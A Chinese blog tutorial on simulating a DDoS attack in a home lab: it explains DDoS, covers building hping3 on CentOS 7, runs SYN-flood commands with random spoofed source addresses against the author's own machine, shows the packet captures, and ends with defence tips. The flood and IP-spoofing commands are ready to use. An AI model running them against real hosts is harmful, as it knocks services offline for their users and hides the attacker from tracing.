热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ddos攻击工具_linux下DDoS攻击模拟实战

前言:电影院如期开放,据前线消息,人实在是少,有些场次一个人看一场,在华夏有电影院开始,应该都少

前言:电影院如期开放,据前线消息,人实在是少,有些场次一个人看一场,在华夏有电影院开始,应该都少有这种场景吧,再次希望疫情早日散去,在此引用一句话来配合一次图:“直到乌云散去风雨落幕,我们一起走向未来。”

c1df590c860e7823e4791982bae2ae67.png

一,什么是DDoS攻击

分布式拒绝服务攻击(英文意思是Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。

常见的DDOS攻击手段有SYN Flood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、Connections Flood、Script Flood、Proxy Flood等

二,利用hping3工具DOS攻击实验

1,准备:

需要两台机器,一台扮演攻击源,另一做目标源。

攻击源地址(我这用centos7虚拟机):192.168.142.128

被攻击机器地址(我这用本机):192.168.1.114

2,准备软件

  • centos7.x系统

  • winshake抓包软件/linux下可以用tcpdump

  • hping3软件

3,软件安装,

winshake 可以在官网下载对应

https://www.wireshark.org/download.html

linux下安装hping3软件和tcpdump如下:

 #yum安装tcpdump yum install tcpdump -y

#源码安装hping3#安装依赖yum install -y libpcap libpcap-devel tcl tcl-devel gccwget http://www.hping.org/hping3-20051105.tar.gztar -xzvf hping3-20051105.tar.gz && cd hping3-20051105./configuremakemake instal

这里有几个安装问题需要注意下:

1,因为我的centos7虚机镜像是3.10.0-229.el7.x86_64,64位的操作系统,而bytesex.h没有对64位的支持,所以./configure时会报“build byteorder.c时出现如下错误”

3c00d446c1c5c79aedacca8a025eebf6.png

解决:在解压目录编辑bytesex.h,指定位置加上|| defined(__x86_64__)\

vim hping3-20051105/bytesex.h#在defined(__i386__) \后面加上下面这行|| defined(__x86_64__)\

e794494291549879b1eacddc0877e4b7.png

2,报错libpcap_stuff.c:20:21: fatal error: net/bpf.h: No such file or directory

这是因为安装pcap库后没做软链接,解决如下:

ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h

3,报错Can't install the man page: /usr/local/confd/man/man8 does not exist

解决:手动创建/usr/local/confd/man/man8目录

mkdir -p /usr/local/confd/man/man8#如果已经make install,还需要执行下面三句才能重新make installrm -rf /usr/sbin/hping3rm -rf /usr/sbin/hpingrm -rf /usr/sbin/hping2#最后执行make install

如上解决完,执行hping3 -help,如下图,代表软件已经安装成功

a19795aec8f6dc8f172903f29826e2f8.png

三,DDoS攻击实践

1,在攻击源,也就是我的虚拟机端输入如下命令,这里两个命令唯一的区别是--rand-source参数,目标机器会看到一堆ip,不能定位你的实际IP。

hping3 -c 5000 -d 150 -S -w 64 -p 80 --flood 192.168.1.114hping3 -c 5000 -d 150 -S -w 64 -p 80 --flood --rand-source 192.168.1.114#命令解释-c:发送数据包的个数-d:每个数据包的大小-S:发送SYN数据包-w:TCP window大小-p:目标端口,你可以指定任意端口–flood:尽可能快的发送数据包–rand-source:使用随机的IP地址,目标机器看到一堆ip,不能定位你的实际IP;也可以使用-a或–spoof隐藏主机名

实际观察下两个命令的效果

(1)hping3 -c 5000 -d 150 -S -w 64 -p 80 --flood 192.168.1.114

c09580a718aa5b1886bc0c6e948fb433.png

打开winshake,查看抓包情况

18051fdaac3c5a3d775939718ca92409.png

(2)hping3 -c 5000 -d 150 -S -w 64 -p 80 --flood --rand-source 192.168.1.114

3cb4f2d7a3ea865e51fff92a11b25775.png

e9d4ca14ac1c0999076cbf0d67cef9b2.png

可以看出,攻击者ip已经被隐藏

四,ddos攻击预防

小编认为,想完全防御住ddos的攻击并不现实的,不过我们可以做到如下几点来有限的限制ddos攻击的损害

1,尽量避免NAT的使用

2,充足的网络带宽保证 

3,把网站做成静态页面   

4,设定路由器的过滤功能来防止

5,网络设备或主机都需要随时更新其系统漏洞、关闭不需要的服务、安装必要的防 毒和防火墙软件、随时注意系统安全,避免被黑客和自动化的 DDoS 程序植入攻击程序

6,通过隐藏源IP方式可以实现,前提是要先找一个高防的盾机,再把IP隐藏起来(小编认为最有效的是这种方法,不过前提是需要一台服务器)

五,总结

目前开源的ddos攻击工具有很多(攻击成本低,也是DDOS攻击易于发生的原因之一),但DDOS攻击防御工具并不多,所以作为个人,我们应该定期维护好自己的设备,比如定时更新或者开启防火墙规则,避免被人植入木马,从而成为洪水攻击的帮凶

最后的最后,欢迎交流:

关注公众号留言,或者在下方直接留言:

4fe34d5eb621702adf61d3b86e01a475.png



推荐阅读
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • Nginx使用AWStats日志分析的步骤及注意事项
    本文介绍了在Centos7操作系统上使用Nginx和AWStats进行日志分析的步骤和注意事项。通过AWStats可以统计网站的访问量、IP地址、操作系统、浏览器等信息,并提供精确到每月、每日、每小时的数据。在部署AWStats之前需要确认服务器上已经安装了Perl环境,并进行DNS解析。 ... [详细]
  • 本文介绍了在CentOS上安装Python2.7.2的详细步骤,包括下载、解压、编译和安装等操作。同时提供了一些注意事项,以及测试安装是否成功的方法。 ... [详细]
  • 如何自行分析定位SAP BSP错误
    The“BSPtag”Imentionedintheblogtitlemeansforexamplethetagchtmlb:configCelleratorbelowwhichi ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • Ubuntu 9.04中安装谷歌Chromium浏览器及使用体验[图文]
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • imx6ull开发板驱动MT7601U无线网卡的方法和步骤详解
    本文详细介绍了在imx6ull开发板上驱动MT7601U无线网卡的方法和步骤。首先介绍了开发环境和硬件平台,然后说明了MT7601U驱动已经集成在linux内核的linux-4.x.x/drivers/net/wireless/mediatek/mt7601u文件中。接着介绍了移植mt7601u驱动的过程,包括编译内核和配置设备驱动。最后,列举了关键词和相关信息供读者参考。 ... [详细]
  • 树莓派语音控制的配置方法和步骤
    本文介绍了在树莓派上实现语音控制的配置方法和步骤。首先感谢博主Eoman的帮助,文章参考了他的内容。树莓派的配置需要通过sudo raspi-config进行,然后使用Eoman的控制方法,即安装wiringPi库并编写控制引脚的脚本。具体的安装步骤和脚本编写方法在文章中详细介绍。 ... [详细]
  • 本文介绍了在rhel5.5操作系统下搭建网关+LAMP+postfix+dhcp的步骤和配置方法。通过配置dhcp自动分配ip、实现外网访问公司网站、内网收发邮件、内网上网以及SNAT转换等功能。详细介绍了安装dhcp和配置相关文件的步骤,并提供了相关的命令和配置示例。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • WebSocket与Socket.io的理解
    WebSocketprotocol是HTML5一种新的协议。它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送 ... [详细]
  • Redis底层数据结构之压缩列表的介绍及实现原理
    本文介绍了Redis底层数据结构之压缩列表的概念、实现原理以及使用场景。压缩列表是Redis为了节约内存而开发的一种顺序数据结构,由特殊编码的连续内存块组成。文章详细解释了压缩列表的构成和各个属性的含义,以及如何通过指针来计算表尾节点的地址。压缩列表适用于列表键和哈希键中只包含少量小整数值和短字符串的情况。通过使用压缩列表,可以有效减少内存占用,提升Redis的性能。 ... [详细]
  • Spring学习(4):Spring管理对象之间的关联关系
    本文是关于Spring学习的第四篇文章,讲述了Spring框架中管理对象之间的关联关系。文章介绍了MessageService类和MessagePrinter类的实现,并解释了它们之间的关联关系。通过学习本文,读者可以了解Spring框架中对象之间的关联关系的概念和实现方式。 ... [详细]
author-avatar
晨心晨艺日记
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有